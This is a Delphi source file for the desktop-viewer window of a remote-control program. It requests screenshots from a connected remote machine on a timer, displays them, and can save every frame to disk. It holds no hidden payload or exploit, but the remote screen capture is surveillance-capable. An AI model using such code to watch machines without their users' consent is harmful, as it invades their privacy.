unitdesktop.pas

不错的远程控制程序

unit UnitDesktop;

interface

uses
  Windows,
  Messages,
  SysUtils,
  Variants,
  Classes,
  Graphics,
  jpeg,
  Controls,
  Forms,
  Dialogs,
  ExtCtrls,
  Sockets,
  CompressionStreamUnitForms,
  ComCtrls,
  StdCtrls,
  GR32_Image, Buttons;
type
  TDesktop = class(TForm)
    Timer1: TTimer;
    Image1: TImage32;
    Panel2: TPanel;
    Label1: TLabel;
    Label2: TLabel;
    CheckBox1: TCheckBox;
    Edit1: TEdit;
    Edit2: TEdit;
    CheckBox2: TCheckBox;
    CheckBox3: TCheckBox;
    CheckBox4: TCheckBox;
    CheckBox5: TCheckBox;
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure CheckBox1Click(Sender: TObject);
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure FormDeactivate(Sender: TObject);
    procedure CheckBox3Click(Sender: TObject);
  private
    { Private declarations }
    DataSocket: TCustomWinSocket;
    Connected: Boolean;
    Number: dword;
    ConnectNotifyInfo: TNotifyInfo;
    ReadNotifyInfo: TNotifyInfo;
    DisconnectNotifyInfo: TNotifyInfo;
    procedure Connect(var Socket: TCustomWinSocket; Data: Pointer);
    procedure Read(var Socket: TCustomWinSocket; CommandFrame: TCommandFrame; Stream: TMemoryStream; Data: Pointer);
    procedure Disconnect(var Socket: TCustomWinSocket; Data: Pointer);
    function SocketConnected: Boolean;
  public
    { Public declarations }
    RemoteAddress: string;
    WindowItem: TListItem;
  end;

var
  Desktop: TDesktop;

implementation

uses UnitMain;

{$R *.dfm}
const
  Screen_TYPE = 21;
  Screen_SHOT = 1;
  Screen_ERROR = 2;
  Screen_SHOTB = 3;

function TDesktop.SocketConnected: Boolean;
begin
  if ((Connected) and (DataSocket <> nil)) then
  begin
    Connected := DataSocket.Connected;
    if not Connected then CheckBox1.Caption := '已断开';
  end;
  Result := Connected;
end;

function Bmp2Jpeg(BmpStream: Classes.TMemoryStream): TJPEGImage;
var
  Bmp: TBitmap;
begin
  Bmp := TBitmap.Create;
  Result := TJPEGImage.Create;
  try
    Bmp.LoadFromStream(BmpStream);
    Result.Assign(Bmp);
  finally
    Bmp.Free;
  end;
end;

function CreateBitmapDelta(LastBitmap: Pointer; LastBitmapSize: dword; Difference: TMemoryStream): Classes.TMemoryStream;
begin
  Result := Classes.TMemoryStream.Create;
  Result.SetSize(Difference.Size);
  Result.WriteBuffer(Difference.Memory^, Difference.Size);
  Result.Position := 0;
  Exit;
end;

procedure TDesktop.Connect(var Socket: TCustomWinSocket; Data: Pointer);
var
  Desktop: TDesktop;
  ConnectionInfo: TConnectionInfo;
begin
  Desktop := TDesktop(Data);
  if TStreamRecord(Socket.Data).LocalAddress <> Desktop.RemoteAddress then Exit;
  if Desktop.DataSocket = nil then Desktop.DataSocket := Socket else Exit;
  ConnectionInfo.ConnectionType := Screen_TYPE;
  Socket.SendBuf(ConnectionInfo, SizeOf(TConnectionInfo));
  Desktop.Connected := True;
  Desktop.Image1.Cursor:=crDefault;
  Desktop.CheckBox1.Enabled := True;
  Desktop.CheckBox4.Enabled := True;
  Socket := nil;
end;

procedure TDesktop.Read(var Socket: TCustomWinSocket; CommandFrame: TCommandFrame; Stream: TMemoryStream; Data: Pointer);
var
  Desktop: TDesktop;
  Delta: Classes.TMemoryStream;
  Jpg: TJPEGImage;
begin
  Desktop := TDesktop(Data);
  if Desktop.DataSocket = Socket then
  begin
    case CommandFrame.Command of
      Screen_SHOT:
        begin
          if Stream.Size = 0 then Exit;
          Delta := CreateBitmapDelta(nil, 0, Stream);
          if Desktop.CheckBox2.Checked then
          begin
            Inc(Desktop.Number);
            Delta.SaveToFile(PChar(Desktop.Edit2.Text + 'Screenshot' + IntToHex(Desktop.Number, 4) + '.bmp'));
          end;
          Jpg := Bmp2Jpeg(Delta);
          Desktop.Image1.Bitmap.Assign(Jpg);
          Jpg.Free;
          Delta.Free;
          Desktop.Timer1.Enabled := Desktop.CheckBox1.Checked;
        end;
      Screen_SHOTB:
        begin
          if Stream.Size = 0 then Exit;
          Delta := CreateBitmapDelta(nil, 0, Stream);
          if Desktop.CheckBox2.Checked then
          begin
            Inc(Desktop.Number);
            Delta.SaveToFile(PChar(Desktop.Edit2.Text + 'Screenshot' + IntToHex(Desktop.Number, 4) + '.bmp'));
          end;
          Jpg := Bmp2Jpeg(Delta);
          Desktop.Image1.Bitmap.Assign(Jpg);
          Jpg.Free;
          Delta.Free;
          Desktop.Timer1.Enabled := Desktop.CheckBox1.Checked;
        end;
      Screen_ERROR:
        begin
          Desktop.Image1.Canvas.Brush.Color := $00000000;
          Desktop.Image1.Canvas.FillRect(Desktop.Image1.BoundsRect);
        end;
    end;
    Socket := nil;
  end;
end;

procedure TDesktop.Disconnect(var Socket: TCustomWinSocket; Data: Pointer);
var
  Desktop: TDesktop;
begin
  Desktop := TDesktop(Data);
  if Desktop.DataSocket = Socket then
  begin
    Desktop.Connected := False;
    Desktop.CheckBox1.Caption := '已断开';
    Desktop.CheckBox1.Checked := False;
    Desktop.CheckBox4.Checked := False;
    Desktop.CheckBox1.Enabled := False;
    Desktop.CheckBox4.Enabled := False;
    Socket := nil;
    Desktop.DataSocket := nil;
  end;
end;

procedure TDesktop.FormCreate(Sender: TObject);
begin
  DataSocket := nil;
  ConnectNotifyInfo := TNotifyInfo.Create;
  ConnectNotifyInfo.Data := Self;
  ConnectNotifyInfo.Callback := @TDesktop.Connect;
  Main.NotifyConnectList.Add(ConnectNotifyInfo);
  ReadNotifyInfo := TNotifyInfo.Create;
  ReadNotifyInfo.Data := Self;
  ReadNotifyInfo.Callback := @TDesktop.Read;
  Main.NotifyReadList.Add(ReadNotifyInfo);
  DisconnectNotifyInfo := TNotifyInfo.Create;
  DisconnectNotifyInfo.Data := Self;
  DisconnectNotifyInfo.Callback := @TDesktop.Disconnect;
  Main.NotifyDisconnectList.Add(DisconnectNotifyInfo);
end;


procedure TDesktop.Timer1Timer(Sender: TObject);
var
  CommandFrame: TCommandFrame;
  ReplyStream: TMemoryStream;
begin
if CheckBox4.Checked  then
  begin
  Timer1.Enabled := False;
  if not SocketConnected then Exit;
 // Label3.Caption := ' 获取视频';
  Timer1.Interval := StrToInt(Edit1.Text);
  CommandFrame.len := 0;
  CommandFrame.Command := Screen_SHOTB;
  CommandFrame.ID := FRAME_ID;
  ReplyStream := TMemoryStream.Create;
  ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
  Main.SendStream(DataSocket, ReplyStream);
  end else begin
  Timer1.Enabled := False;
  if not SocketConnected then Exit;
 // Label3.Caption := ' 获取视频';
  Timer1.Interval := StrToInt(Edit1.Text);
  CommandFrame.len := 0;
  CommandFrame.Command := Screen_SHOT;
  CommandFrame.ID := FRAME_ID;
  ReplyStream := TMemoryStream.Create;
  ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
  Main.SendStream(DataSocket, ReplyStream);
end;
end;

procedure TDesktop.CheckBox1Click(Sender: TObject);
begin
  Timer1.Interval := 1;
  Timer1.Enabled := CheckBox1.Checked;
end;

procedure TDesktop.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
  CanClose := not CheckBox1.Checked;
end;

procedure TDesktop.FormClose(Sender: TObject; var Action: TCloseAction);
var
  Socket: TCustomWinSocket;
begin
  Main.NotifyConnectList.Delete(Main.NotifyConnectList.IndexOf(ConnectNotifyInfo));
  Main.NotifyReadList.Delete(Main.NotifyReadList.IndexOf(ReadNotifyInfo));
  Main.NotifyDisconnectList.Delete(Main.NotifyDisconnectList.IndexOf(DisconnectNotifyInfo));
  WindowItem.Delete;
  if DataSocket <> nil then
  begin
    if not SocketConnected then
    begin
      Socket := DataSocket;
      DataSocket := nil;
      Connected := False;
      Socket.Close;
    end;
  end;
end;

procedure TDesktop.FormDeactivate(Sender: TObject);
begin
  if WindowState = wsMinimized then Hide;
end;


procedure TDesktop.CheckBox3Click(Sender: TObject);
begin
  if Image1.Width = 800 then
  begin
    Image1.Width := 1024;
    Image1.Height := 768;
  end else begin
    Image1.Width := 800;
    Image1.Height := 600;
  end;
end;


end.